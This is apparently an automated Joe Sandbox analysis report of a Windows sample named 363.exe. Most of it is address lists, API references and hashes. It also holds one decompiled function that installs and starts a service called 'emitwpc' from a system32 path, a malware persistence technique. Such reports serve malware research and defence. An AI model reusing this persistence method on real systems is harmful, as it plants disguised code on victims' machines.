0x00315dcd
0x00315dd5
0x00315ddd
0x00315de5
0x00315ded
0x00315df5
0x00315dfb
0x00315e03
0x00315e07
0x00315e0c
0x00315e11
0x00315e16
0x00315e1b
0x00315e20
0x00315e25
0x00315e2d
0x00315e32
0x00315e3a
0x00315e44
0x00315e4e
0x00315f59
0x00315f59
0x00315f59
0x00315f5e
0x00000000
0x00000000
0x003163fe
0x003163fe
0x003158f8
0x003158f8
0x003158fb
0x003158fd
0x00315900
0x00000000
0x00000000
0x00315906
0x0031590c
0x0031590f
0x00315912
0x00000000
0x00315918
0x00315918
0x00315918
0x0031591b
0x0031591d
0x00315921
0x00315923
0x00315926
0x0031592e
0x00315933
0x00315936
0x00315936
0x00315939
0x00315939
0x00315943
0x0031594b
0x0031594e
0x00315950
0x00315959
0x00315959
0x0031595e
0x0031595f
0x00315960
0x00315961
0x00315961
0x00315965
0x00315967
0x0031596b
0x0031596d
0x00315975
0x00315975
0x00315979
0x0031597c
0x00315952
0x00315952
0x00315954
0x00315954
0x0031597f
0x0031597f
0x00315981
0x00315983
0x00315986
0x00315989
0x0031598f
0x00315b5a
0x00315b5a
0x00315b60
0x00315b63
0x00315b69
0x00316406
0x00316406
0x0031640d
0x00316413
0x00316419
0x0031641c
0x0031641f
0x00316421
0x0031645e
0x0031645e
0x00316461
0x00315714
0x0031571b
0x00315723
0x00315726
0x00315728
0x00315736
0x00315736
0x0031573b
0x0031573c
0x0031573d
0x00315740
0x00315740
0x00315744
0x00315746
0x0031574c
0x00315754
0x00315754
0x00315758
0x0031575b
0x0031575e
0x0031572a
0x0031572a
0x0031572c
0x0031572f
0x0031572f
0x00315761
0x00315761
0x00315763
0x00315765
0x0031576c
0x00315773
0x00315776
0x00315779
0x0031577c
0x0031577e
0x003157be
0x003157c1
0x003157c4
0x003157c7
0x003157c9
0x003157d5
0x003157d5
0x003157dd
0x003157e0
0x003157e5
0x003157e8
0x003157ec
0x003157ef
0x003157f1
0x003157f4
0x0031582f
0x0031582f
0x00315832
0x00315896
0x00315896
0x0031589b
0x003158a0
0x003158a0
0x003158a3
0x003158a6
0x003158ac
0x003158af
0x003158b3
0x003158b6
0x003158b9
0x003158bc
0x003158bc
0x00000000
0x00315834
0x00315834
0x00315834
0x00315837
0x00000000
0x00315839
0x00315839
0x00315839
0x0031583e
0x00315844
0x00315846
0x00315849
0x00315850
0x00315850
0x00315852
0x00315854
0x00315857
0x0031585a
0x0031585d
0x00315860
0x00315860
0x00315864
0x00315867
0x0031586d
0x00315870
0x00315873
0x00315876
0x00315879
0x0031587c
0x00000000
0x00000000
0x00000000
0x00000000
0x0031587c
0x00315837
0x00000000
0x003157f6
0x003157f6
0x003157f6
0x003157f6
0x003157f8
0x003157f9
0x003157fc
0x003157fe
0x00000000
0x00000000
0x00315804
0x00315807
0x0031580a
0x0031650f
0x0031650f
0x00316516
0x00000000
0x00315810
0x00315810
0x00315822
0x00315825
0x00315828
0x0031582a
0x00000000
0x0031582a
0x00000000
0x0031580a
0x003158f8
0x003158f8
0x003158fb
0x003158fd
0x00315900
0x00000000
0x00000000
0x00000000
0x00315900
0x00000000
0x003158f8
0x003157cb
0x003157cb
0x003157cb
0x003157cf
0x003166b4
0x003166b4
0x003166b7
0x00000000
0x00000000
0x00000000
0x00000000
0x003157cf
0x00315780
0x00315780
0x00315780
0x00315782
0x003157a7
0x003157ac
0x003157b1
0x003157b3
0x003157b5
0x003157b5
0x003157b5
0x003157b8
0x003157bb
0x00000000
0x00315784
0x00315784
0x00315784
0x00315784
0x00315787
0x00000000
0x00000000
0x0031578d
0x00315792
0x00315794
0x00315795
0x00315798
0x0031579a
0x0031579d
0x003157a0
0x003157a3
0x003157a5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003157a5
0x0031664c
0x0031664c
0x00000000
0x0031664c
0x00315782
0x00316467
0x00316467
0x0031646c
0x0031646f
0x003164e6
0x003164e6
0x003164ed
0x003164f0
0x003164f3
0x003164f8
0x003164fe
0x00316501
0x00316504
0x00316507
0x00000000
0x00316471
0x00316471
0x00316478
0x00316480
0x00316483
0x00316485
0x0031649f
0x0031649f
0x003164a2
0x00000000
0x003164a8
0x003164a8
0x003164ad
0x003164ad
0x003164b0
0x003164b0
0x003164be
0x003164c9
0x003164ca
0x003164cd
0x003164d0
0x003164d2
0x00000000
0x00000000
0x003164d8
0x003164d8
0x003164d9
0x003164db
0x00000000
0x003164e1
0x003164e1
0x003164e1
0x00000000
0x003164e1
0x00000000
0x003164db
0x00000000
0x003164b0
0x00316487
0x00316487
0x00316487
0x0031648a
0x0031648c
0x003156ef
0x003156ef
0x003156f2
0x00316657
0x00316657
0x00000000
0x00000000
0x00000000
0x00000000
0x00316492
0x00316492
0x00316492
0x00316494
0x00000000
0x0031649a
0x0031649a
0x00000000
0x0031649a
0x00316494
0x0031648c
0x00000000
0x003156f8
0x003156fb
0x003156fd
0x003156ff
0x00315700
0x00315702
0x00315705
0x00315708
0x0031570b
0x0031570b
0x00316471
0x00000000
0x0031646f
0x00316423
0x00316423
0x00316423
0x00316425
0x0031644a
0x0031644f
0x0031644f
0x00316454
0x00316456
0x00316458
0x00316458
0x00316458
0x0031645b
0x00000000
0x00316427
0x00316427
0x00316427
0x00316427
0x0031642a
0x00000000
0x00000000
0x00316430
0x00316435
0x00316437
0x00316438
0x0031643b
0x0031643d
0x00316440
0x00316443
0x00316446
0x00316448
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00316448
0x00316641
0x00316641
0x00000000
0x00316641
0x00316425
0x00315b6f
0x00315b6f
0x00315b6f
0x00315b6f
0x00315b73
0x00000000
0x00000000
0x00315b79
0x00315b79
0x00315b7c
0x00315b9f
0x00315ba1
0x00315ba4
0x00315ba7
0x00315baa
0x00315bad
0x00315bad
0x00315baf
0x00315bb2
0x00315bb5
0x00315bb8
0x00315d7b
0x00315d7b
0x00315d7e
0x00316674
0x00316674
0x0031667b
0x00000000
0x00315d84
0x00315d84
0x00315d84
0x00315d87
0x00315e56
0x00315e56
0x00315e56
0x00315e58
0x00315e58
0x00315e58
0x00315e5b
0x00315e5e
0x00000000
0x00000000
0x00315e64
0x00315e64
0x00315e6b
0x00315e6e
0x00315e70
0x00315e9f
0x00315e9f
0x00315eaa
0x00315eb2
0x00315eb5
0x00315eb8
0x00315ebf
0x00315ec1
0x00315ec3
0x00315ec5
0x00315ec8
0x00315ed2
0x00315ed5
0x00315ed7
0x00315eda
0x00000000
0x00315e72
0x00315e72
0x00315e72
0x00315e72
0x00315e75
0x00000000
0x00000000
0x00315e7b
0x00315e80
0x00315e82
0x00315e83
0x00315e86
0x00315e88
0x00315e8b
0x00315e8e
0x00315e91
0x00315e98
0x00315e9b
0x00315e9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00315e9d
0x00316595
0x00316595
0x00000000
0x00316595
0x00000000
0x00315e70
0x00315ee0
0x00315ee5
0x00315eee
0x00315ef4
0x00315ef7
0x00315efa
0x00315efa
0x00315efc
0x00315efc
0x00315efc
0x00315eff
0x00315f02
0x00000000
0x00000000
0x00315f04
0x00315f04
0x00315f07
0x00315f2a
0x00315f2f
0x00315f32
0x00315f35
0x00315f38
0x00315f3b
0x00315f3e
0x00315f45
0x00315f4f
0x00000000
0x00315f09
0x00315f09
0x00315f09
0x00315f09
0x00315f0c
0x00000000
0x00000000
0x00315f12
0x00315f17
0x00315f19
0x00315f1a
0x00315f1c
0x00315f1f
0x00315f22
0x00315f25
0x00315f28
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00315f28
0x003165a0
0x003165a0
0x00000000
0x003165a0
0x00000000
0x00315f07
0x00315f52
0x00315f52
0x00000000
0x00315d8d
0x00315d8d
0x00315d8d
0x00315d92
0x00315d93
0x00315d94
0x00000000
0x00315d94
0x00315d87
0x00315bbe
0x00315bbe
0x00315bc0
0x00315bc3
0x00315bc5
0x00315bec
0x00315bee
0x00315bf1
0x00315bf3
0x00315bf5
0x00315bf8
0x00315bf8
0x00315bfa
0x00315bfa
0x00315bfa
0x00315bfd
0x00315c00
0x00000000
0x00000000
0x00315c02
0x00315c02
0x00315c04
0x00315c42
0x00315c42
0x00315c45
0x0031655f
0x0031655f
0x00000000
0x00315c4b
0x00315c4b
0x00315c4b
0x00315c4d
0x00315c4e
0x00315c55
0x00315c56
0x00000000
0x00315c56
0x00315c06
0x00315c06
0x00315c06
0x00315c09
0x00315c2f
0x00315c2f
0x00315c36
0x00315c39
0x00315c3c
0x00315c3d
0x00000000
0x00315c0b
0x00315c0b
0x00315c0b
0x00315c0b
0x00315c0e
0x00000000
0x00000000
0x00315c14
0x00315c19
0x00315c1b
0x00315c1c
0x00315c1e
0x00315c21
0x00315c24
0x00315c27
0x00315c2a
0x00000000
0x00315c2c
0x00315c2c
0x00315c2c
0x00000000
0x00315c2c
0x00000000
0x00315c2a
0x00316554
0x00316554
0x00000000
0x00316554
0x00315c09
0x00000000
0x00315c04
0x00315c5b
0x00315c6e
0x00315c75
0x00315c8a
0x00315c8d
0x00316662
0x00316662
0x00316669
0x00000000
0x00315c93
0x00315c93
0x00315c93
0x00315c96
0x00315c96
0x00315c96
0x00315c98
0x00000000
0x00000000
0x00315c9e
0x00315c9e
0x00315ca0
0x00315cfc
0x00315cfc
0x00315cff
0x00315cff
0x00315cff
0x00315d01
0x00000000
0x00000000
0x00315d11
0x00315d11
0x00315d14
0x00315d16
0x00315d30
0x00315d30
0x00315d33
0x00315d35
0x00316587
0x00316587
0x0031658a
0x00000000
0x00315d3b
0x00315d3b
0x00315d3b
0x00315d40
0x00315d42
0x00315d46
0x00315d49
0x00315d4b
0x00315d54
0x00315d4d
0x00315d4d
0x00315d4f
0x00315d4f
0x00315d56
0x00315d5b
0x00315d5b
0x00315d64
0x00315d69
0x00315d6b
0x00315d6e
0x00315d71
0x00315d73
0x00315d76
0x00000000
0x00315d76
0x00315d18
0x00315d18
0x00315d18
0x00315d1b
0x00315d22
0x00000000
0x00315d22
0x00000000
0x00315d16
0x00315d03
0x00315d03
0x00315d08
0x00000000
0x00315ca2
0x00315ca2
0x00315ca2
0x00315ca5
0x00315cc8
0x00315cc8
0x00315ccb
0x00315cce
0x00315cd1
0x00315cd4
0x00315cdc
0x00315cdf
0x00315ce2
0x00315ce5
0x00316575
0x00316575
0x0031657c
0x00000000
0x00315ceb
0x00315ceb
0x00315cee
0x00315cf1
0x00315cf6
0x00315cf7
0x00000000
0x00315cf7
0x00315ca7
0x00315ca7
0x00315ca7
0x00315ca7
0x00315caa
0x00000000
0x00000000
0x00315cb0
0x00315cb5
0x00315cb7
0x00315cb8
0x00315cba
0x00315cbd
0x00315cc0
0x00315cc3
0x00315cc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00315cc6
0x0031656a
0x0031656a
0x00000000
0x0031656a
0x00315ca5
0x00000000
0x00315ca0
0x00000000
0x00315c96
0x00315bc7
0x00315bc7
0x00315bc7
0x00315bc7
0x00315bca
0x00000000
0x00000000
0x00315bd0
0x00315bd5
0x00315bd7
0x00315bda
0x00315bdc
0x00315bdf
0x00315be2
0x00315be5
0x00315be8
0x00315bea
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00315bea
0x00316549
0x00316549
0x00000000
0x00316549
0x00315bc5
0x00315b7e
0x00315b7e
0x00315b7e
0x00315b7e
0x00315b81
0x00000000
0x00000000
0x00315b87
0x00315b8c
0x00315b8e
0x00315b8f
0x00315b91
0x00315b94
0x00315b97
0x00315b9a
0x00315b9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00315b9d
0x0031653e
0x0031653e
0x00316732
0x00316732
0x0031673b
0x00316740
0x00316740
0x00316743
0x00316746
0x00316749
0x0031674b
0x0031674b
0x0031674e
0x00316750
0x0031675d
0x0031675d
0x00316760
0x00316762
0x00316764
0x00316764
0x00316764
0x00316767
0x00000000
0x00000000
0x00316769
0x00316769
0x0031676a
0x0031676d
0x0031676f
0x00000000
0x00000000
0x00000000
0x0031676f
0x00316764
0x00316762
0x0031674e
0x00316749
0x00000000
0x00315b7c
0x003165c1
0x003165c3
0x003165c6
0x003165c8
0x003165f2
0x003165f2
0x003165f7
0x003165fa
0x003165fc
0x003165fe
0x00316601
0x00316603
0x00316605
0x00316605
0x00316605
0x00316608
0x00000000
0x00000000
0x0031660a
0x0031660a
0x0031660b
0x0031660e
0x00316610
0x00000000
0x00000000
0x00000000
0x00316610
0x00316605
0x00316612
0x00316617
0x00316617
0x0031661b
0x0031661e
0x00316621
0x00316624
0x00316626
0x00316629
0x0031662d
0x00316630
0x00316634
0x00316752
0x00316752
0x00316752
0x00316754
0x0031675a
0x0031675a
0x00000000
0x0031663a
0x0031663a
0x0031663a
0x00316703
0x00316703
0x00316703
0x00316706
0x00316709
0x00000000
0x00000000
0x0031670b
0x0031670b
0x0031670d
0x0031671a
0x0031671a
0x0031671d
0x00316720
0x003166e7
0x003166e7
0x003166ed
0x003166ed
0x003166f0
0x00000000
0x00316722
0x00316722
0x003166ca
0x003166ca
0x003166ca
0x003166cd
0x00000000
0x00000000
0x003166cf
0x003166d4
0x003166d6
0x003166d9
0x003166db
0x003166dc
0x003166df
0x003166e2
0x00000000
0x003166e4
0x003166e4
0x003166e4
0x00000000
0x003166e4
0x00000000
0x003166e2
0x0031672c
0x0031672c
0x00000000
0x0031672c
0x0031670f
0x0031670f
0x0031670f
0x00316712
0x00316724
0x00316724
0x00000000
0x00316714
0x00316714
0x00316714
0x00316717
0x003166f3
0x003166f3
0x003166fc
0x003166ff
0x003166ff
0x00316700
0x00000000
0x00316700
0x00316712
0x00000000
0x0031670d
0x00000000
0x00316703
0x003165d0
0x00000000
0x003165d0
0x003165d0
0x003165d0
0x003165d3
0x00000000
0x00000000
0x003165d9
0x003165de
0x003165e0
0x003165e3
0x003165e5
0x003165e8
0x003165eb
0x003165ee
0x003165f0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003165f0
0x003166c2
0x003166c2
0x00000000
0x003166c2
0x003165c8
0x00315995
0x00315995
0x00315995
0x00315998
0x0031599a
0x0031599e
0x003159a0
0x003159a3
0x003159a6
0x003159ae
0x003159b3
0x003159b6
0x003159b6
0x003159b9
0x003159b9
0x003159c3
0x003159cb
0x003159ce
0x003159d0
0x003159d9
0x003159d9
0x003159de
0x003159df
0x003159e0
0x003159e1
0x003159e1
0x003159e5
0x003159e7
0x003159ed
0x003159f5
0x003159f5
0x003159f9
0x003159fc
0x003159d2
0x003159d2
0x003159d4
0x003159d4
0x003159ff
0x003159ff
0x00315a02
0x00315a04
0x00315a09
0x00315a0c
0x00315a0e
0x00315a11
0x00315a17
0x00315b57
0x00315b57
0x00315b57
0x00315b57
0x00000000
0x00315a1d
0x00315a1d
0x00315a1d
0x00315a20
0x00315a26
0x00315a29
0x003158f8
0x003158f8
0x003158f8
0x003158f8
0x003158fb
0x003158fd
0x00315900
0x00000000
0x00000000
0x00000000
0x00315900
0x0031587e
0x0031587e
0x0031587e
0x00315882
0x00315887
0x00315888
0x0031588a
0x0031588c
0x0031588f
0x00315892
0x00315894
0x003158e6
0x003158e6
0x003158eb
0x003158ef
0x003158f2
0x003158f2
0x003158f5
0x003158f5
0x003158f5
0x003158f5
0x003158f8
0x003158f8
0x003158fb
0x003158fd
0x00315900
0x00000000
0x00000000
0x00000000
0x00315900
0x003158c1
0x003158c1
0x003158c4
0x003158c7
0x003158ca
0x003158cd
0x003158d0
0x003158d0
0x003158d4
0x003158d9
0x003158da
0x003158dc
0x003158de
0x003158e1
0x003158e4
0x00000000
0x00000000
0x00000000
0x003158e4
0x00315a17
0x0031598f
0x00316771
0x00316771
0x00316774
0x00316776
0x0031677b
0x0031677e
0x00316781
0x00316784
0x00316786
0x00316789
0x00316793
0x0031679e
0x003167a1
0x003167a5
0x003167ab
0x003167b1
0x003167b7
0x003167ba
0x003167bd
0x003167c2
0x003167c5
0x003167c7
0x003167cd
0x003167cd
0x003167cf
0x003167d5
0x003167d5
0x003167df
0x003167e5
0x003167ee
0x003167f1
0x003167f4
0x003167f6
0x003167fa
0x003167fd
0x00316803
0x00316803
0x00316805
0x00316805
0x00316805
0x00316807
0x0031680a
0x0031680d
0x00316813
0x00316813
0x00316818
0x00316819
0x0031681a
0x0031681b
0x0031681b
0x0031681b
0x00316820
0x00316820
0x00316823
0x00316826
0x00316831
0x0031683c
0x00316847
0x00316852
0x0031685d
0x00316868
0x00316873
0x00316878
0x0031687b
0x0031687d
0x00316882
0x00316884
0x00316884
0x00316889
0x0031688c
0x0031688c
0x0031688f
0x0031688f
0x00316891
0x00316894
0x00316896
0x00316898
0x0031689c
0x0031689f
0x003168a1
0x003168a1
0x003168a6
0x003168ae
0x003168b2
0x003168b2
0x003168b6
0x003168c0
0x003168c0
0x003168c3
0x003168c5
0x003168c9
0x003168cb
0x003168ce
0x003168d0
0x003168d2
0x003168d2
0x003168d2
0x003168d5
0x003168d8
0x003168db
0x003168de
0x003168e1
0x003168e1
0x003168e4
0x003168e4
0x003168e6
0x003168e8
0x003168ee
0x003168f0
0x003168f2
0x003168f2
0x003168f3
0x003168f3
0x003168f6
0x003168f9
0x003168fb
0x003168fb
0x003168fb
0x003168fd
0x00316902
0x0031690d
0x00316919
0x0031691f
0x00316921
0x00316921
0x00316921
0x00316924
0x00316929
0x0031692c
0x0031692c
0x00316935
0x0031693a
0x0031693a
0x0031693b
0x0031693e
0x00316940
0x00316943
0x00316945
0x00316947
0x0031694b
0x0031694d
0x00316955
0x00316955
0x00316955
0x0031694b
0x00316945
0x003167cf
0x00316958
0x00316960
0x00000000
0x00315a2e
0x00315a2e
0x00315a31
0x00315ae3
0x00315aea
0x00315af2
0x00315af5
0x00315af7
0x00315b08
0x00315b08
0x00315b0d
0x00315b0e
0x00315b0f
0x00315b10
0x00315b10
0x00315b14
0x00315b16
0x00315b1c
0x00315b24
0x00315b24
0x00315b28
0x00315b2b
0x00315af9
0x00315af9
0x00315afb
0x00315afe
0x00315b03
0x00315b03
0x00315b2e
0x00315b2e
0x00315b30
0x00315b32
0x00315b35
0x00315b38
0x00315b3e
0x00000000
0x00315b40
0x00315b40
0x00315b40
0x00315b43
0x00315b46
0x0031652c
0x0031652c
0x00316533
0x00000000
0x00315b4c
0x00315b4c
0x00315b4c
0x00315b4f
0x00000000
0x00315b4f
0x00315b46
0x00315a37
0x00315a37
0x00315a37
0x00315a3a
0x00315abf
0x00315abf
0x00315ac6
0x00315ac9
0x00315ace
0x00315ad4
0x00315ad7
0x00315ada
0x00315ada
0x00315add
0x00000000
0x00315a40
0x00315a40
0x00315a40
0x00315a42
0x00315a47
0x00315a4f
0x00315a51
0x00315a64
0x00315a64
0x00315a67
0x00000000
0x00315a69
0x00315a69
0x00315a6e
0x00315a71
0x00315a71
0x00315a7f
0x00315a8a
0x00315a8b
0x00315a8e
0x00315a90
0x00000000
0x00000000
0x00315a92
0x00315a92
0x00315a95
0x00315a97
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00315a97
0x00000000
0x00315a71
0x00315a53
0x00315a53
0x00315a53
0x00315a56
0x00315a58
0x00315a99
0x00315a99
0x00315a9c
0x00315a9c
0x00315a9f
0x00316521
0x00316521
0x00000000
0x00000000
0x00000000
0x00000000
0x00315a5a
0x00315a5a
0x00315a5a
0x00315a5c
0x00315ae0
0x00315ae0
0x00000000
0x00315a62
0x00315a62
0x00000000
0x00315a62
0x00315a5c
0x00315a58
0x00000000
0x00315aa5
0x00315aa8
0x00315aaa
0x00315aac
0x00315aad
0x00315aaf
0x00315ab2
0x00315ab5
0x00315ab8
0x00315ab8
0x00000000
0x00315abd
0x00315a3a
0x00000000
0x00315a31
0x003158f8
0x00315f64
0x00315f73
0x00315f7d
0x00315f93
0x00315fa9
0x00315fb2
0x00315fb7
0x00315fba
0x00315fbd
0x00315fc2
0x00315fc4
0x00315fc4
0x00315fd0
0x00315fd0
0x00315fd0
0x00315fd4
0x00315fd5
0x00315fdc
0x00315fd0
0x00315fe0
0x00315fe0
0x00315fe5
0x00315fe6
0x00315fe7
0x00315fe8
0x00315fe9
0x00315fe9
0x00315fef
0x00315ff5
0x00315ff8
0x00316000
0x00316000
0x00316000
0x00316009
0x0031600b
0x0031600d
0x00316014
0x00316017
0x00316020
0x00316027
0x00316029
0x0031602c
0x00316035
0x00316037
0x0031603e
0x00316041
0x0031604c
0x0031604f
0x00316055
0x00316058
0x00316061
0x0031606c
0x0031606c
0x0031606f
0x00316076
0x00316080
0x00316086
0x00316086
0x00316090
0x00316090
0x00316095
0x00316095
0x00316099
0x0031609e
0x003160a4
0x003160a4
0x003160ab
0x003160af
0x003160b6
0x003160bb
0x00000000
0x003160c0
0x003160c0
0x003160cb
0x003160ce
0x003160cf
0x003160d1
0x003160d4
0x003160d8
0x003160d8
0x003160db
0x003160de
0x0031612d
0x0031613d
0x00316140
0x00316143
0x00316146
0x00316149
0x0031614c
0x0031614e
0x00316153
0x00316156
0x00316158
0x00316158
0x0031615b
0x0031615e
0x0031615e
0x00316161
0x00316161
0x00316164
0x00316167
0x00316169
0x00316169
0x00316169
0x0031616c
0x0031616f
0x00316172
0x00316172
0x00316172
0x00316180
0x00316185
0x00316189
0x0031618c
0x003161a4
0x0031618e
0x00316191
0x00316195
0x00316198
0x0031619a
0x0031619d
0x003161a0
0x003161a0
0x003161a7
0x003161a7
0x003161a7
0x003161a7
0x003161a7
0x003161ac
0x003161af
0x003161af
0x003161b1
0x003161b6
0x003161b6
0x003161bb
0x003160e0
0x003160e0
0x003160e7
0x003160ea
0x003160f3
0x003160f9
0x003160f9
0x003160fe
0x003160ff
0x00316100
0x00316101
0x00316101
0x00316106
0x0031610f
0x00316115
0x00316115
0x00316115
0x00316118
0x0031611a
0x0031611d
0x00316125
0x00316125
0x003160f3
0x003160de
0x003161c3
0x003161c3
0x003161c6
0x003161c7
0x003161d1
0x003161d6
0x003161d6
0x003161d7
0x003161db
0x003163f6
0x003163f6
0x00000000
0x003161e1
0x003161e1
0x003161e1
0x003161e3
0x003161e3
0x003161e3
0x003161e6
0x003161e6
0x003161ec
0x003161f1
0x00000000
0x00000000
0x003161f7
0x003161fa
0x003162b2
0x003162b9
0x003162c1
0x003162c6
0x003162d7
0x00000000
0x003162e0
0x003162e0
0x003162e0
0x003162e5
0x003162e7
0x003162ee
0x003162f6
0x003162f9
0x003162f9
0x003162c8
0x003162c8
0x003162ca
0x003162cd
0x003162d2
0x003162d2
0x003162fd
0x003162fd
0x003162ff
0x00316301
0x00316304
0x0031630a
0x0031631c
0x0031631c
0x0031632c
0x0031632c
0x00316333
0x00316336
0x00316338
0x00316360
0x0031636e
0x00316371
0x00316378
0x0031637b
0x0031637d
0x00316381
0x00316384
0x00316387
0x00316393
0x00316393
0x00316389
0x00316389
0x00316389
0x00316395
0x003163a0
0x003163a9
0x003163ac
0x003163ae
0x003161e3
0x003161e3
0x00000000
0x0031633a
0x0031633a
0x0031633a
0x0031633a
0x0031633d
0x00000000
0x00000000
0x00316343
0x00316348
0x0031634a
0x0031634b
0x0031634e
0x00316350
0x00316353
0x00316356
0x00316359
0x0031635b
0x00000000
0x0031635d
0x0031635d
0x0031635d
0x00000000
0x0031635d
0x00000000
0x0031635b
0x003165b6
0x003165b6
0x00000000
0x003165b6
0x0031631e
0x0031631e
0x0031631e
0x00316321
0x00316323
0x00316698
0x00316698
0x0031669b
0x00000000
0x00316329
0x00316329
0x00316329
0x00000000
0x00316329
0x00316323
0x0031630c
0x0031630c
0x0031630c
0x0031630f
0x00316316
0x00000000
0x00316316
0x00316200
0x00316200
0x00316208
0x0031628e
0x0031628e
0x00316295
0x00316298
0x0031629d
0x003162a3
0x003162a6
0x003162a9
0x003162a9
0x003162ac
0x00000000
0x0031620e
0x0031620e
0x0031620e
0x00316210
0x00316215
0x0031621f
0x00316232
0x00316232
0x00316235
0x00000000
0x00316237
0x00316237
0x0031623c
0x0031623c
0x00316240
0x00316240
0x0031624e
0x00316259
0x0031625a
0x0031625d
0x0031625f
0x00000000
0x00000000
0x00316261
0x00316261
0x00316264
0x00316266
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00316266
0x00000000
0x00316240
0x00316221
0x00316221
0x00316221
0x00316226
0x00316268
0x00316268
0x0031626b
0x0031626e
0x003165ab
0x003165ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00316228
0x00316228
0x0031622a
0x003162af
0x003162af
0x00000000
0x00316230
0x00316230
0x00000000
0x00316230
0x0031622a
0x00316226
0x00000000
0x00316274
0x00316277
0x00316279
0x0031627b
0x0031627c
0x0031627e
0x00316281
0x00316284
0x00316287
0x00000000
0x0031628c
0x00316208
0x00000000
0x003161fa
0x003163b6
0x003163b9
0x003163bc
0x003163be
0x003163c0
0x003166a6
0x003166a6
0x003166a9
0x00000000
0x003163c6
0x003163c6
0x003163d2
0x003163e3
0x003163e3
0x003163ed
0x003163f3
0x00000000
0x003163f3
0x00000000
0x003163c0
0x003161e3
0x00316686
0x00316686
0x00316686
0x0031668d
0x00000000
0x0031668d
0x00000000
0x00316061

APIs

memset.NTDLL ref: 00315DA8
memset.NTDLL ref: 00315F7D
memset.NTDLL ref: 00315F93
memset.NTDLL ref: 00315FA9

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 1938ae85727de2bd6c3b890c3fff5e4b4694b05e4de0f7dc976ddb6b762bca5f
Instruction ID: 1483d2a838fc24fa721368afff4c32944be3cc6bfda6424f8cbb1d44e8393388
Opcode Fuzzy Hash: 1938ae85727de2bd6c3b890c3fff5e4b4694b05e4de0f7dc976ddb6b762bca5f
Instruction Fuzzy Hash: 36313DB2E10B82E7E30A8B64D801BA4B774BFDD300F24531AE5D595642EB78A695C790

Uniqueness

Uniqueness Score: 0.00%

Analysis Process: 363.exe PID: 3616 Parent PID: 3632363.exeUNIQUE

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	14.4%
Total number of Nodes:	604
Total number of Limit Nodes:	15

Executed Functions

Function 0050CA89, Relevance: 13.5, APIs: 9, Instructions: 38
windowsynchronizationtimeCOMMON

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0050CA89
SetTimer.USER32(?,00000000), ref: 0050CA91
GetTickCount.KERNEL32(?,00000000), ref: 0050CA97
GetTickCount.KERNEL32(?,00000000), ref: 0050CAA8
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0050CACE
TranslateMessage.USER32(?), ref: 0050CAE4
DispatchMessageW.USER32(?), ref: 0050CAEE
WaitForSingleObject.KERNEL32(00000000), ref: 0050CAFC
DestroyWindow.USER32 ref: 0050CB1E

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CountMessageTick$DestroyDispatchObjectSingleTimerTranslateWaitWindow
String ID:
API String ID: 1391006589-0
Opcode ID: 083a45912d4103279082bb1cfee7235c78dd0a87253e89029e30901d5ba322fe
Instruction ID: 42645d71440ff7fb6f22491905873fd68740ed44a8ea57e4a9a688c01f95849d
Opcode Fuzzy Hash: 083a45912d4103279082bb1cfee7235c78dd0a87253e89029e30901d5ba322fe
Instruction Fuzzy Hash: 93018171A00204ABD7105B70EC5DBEE3FB9BB65305F54C425F116D20B0DB748549BF14

Uniqueness

Uniqueness Score: 0.03%

Function 0050DCBB, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51
serviceUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E0050DCBB(void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t9;
				int _t10;
				void* _t19;
				void* _t27;
				int _t31;
				void* _t33;

				_t27 = __edi;
				_t26 = __edx;
				_t30 = L00501D10(__ecx, __edx, __edi, __esi);
				 *0x513344(_t33 - 0x20c, 0x104, _t4, "C:\Windows\system32\emitwpc.exe");
				L00501DB0(_t30);
				_t9 = CreateServiceW(__edi, "emitwpc", "emitwpc", 0x12, 0x10, 2, 0, _t33 - 0x20c, 0, 0, 0, 0, 0); // executed
				_t19 = _t9;
				if(_t19 != 0) {
					_t26 = _t33 - 4;
					_t10 = L0050DA10(_t9, __edi, _t33 - 4, __edi); // executed
					__eflags = _t10;
					if(__eflags != 0) {
						goto 0x521d9b;
						asm("int3");
						asm("int3");
						 *0x512c74();
						E00501830(_t30);
					}
				} else {
					goto 0x521d85;
					asm("int3");
					_t19 = OpenServiceW();
				}
				_t40 = _t19;
				if(_t19 == 0) {
					_t31 = 0;
					__eflags = 0;
				} else {
					_t31 = StartServiceW();
					CloseServiceHandle(_t19);
				}
				L0050DC00(_t27, _t26, _t31, _t40);
				CloseServiceHandle(_t27);
				return _t31;
			}

0x0050dcbb
0x0050dcbb
0x0050dcc0
0x0050dcd4
0x0050dcdf
0x0050dd08
0x0050dd0e
0x0050dd12
0x0050dd26
0x0050dd2b
0x0050dd30
0x0050dd32
0x0050dd34
0x0050dd39
0x0050dd3a
0x0050dd3b
0x0050dd43
0x0050dd43
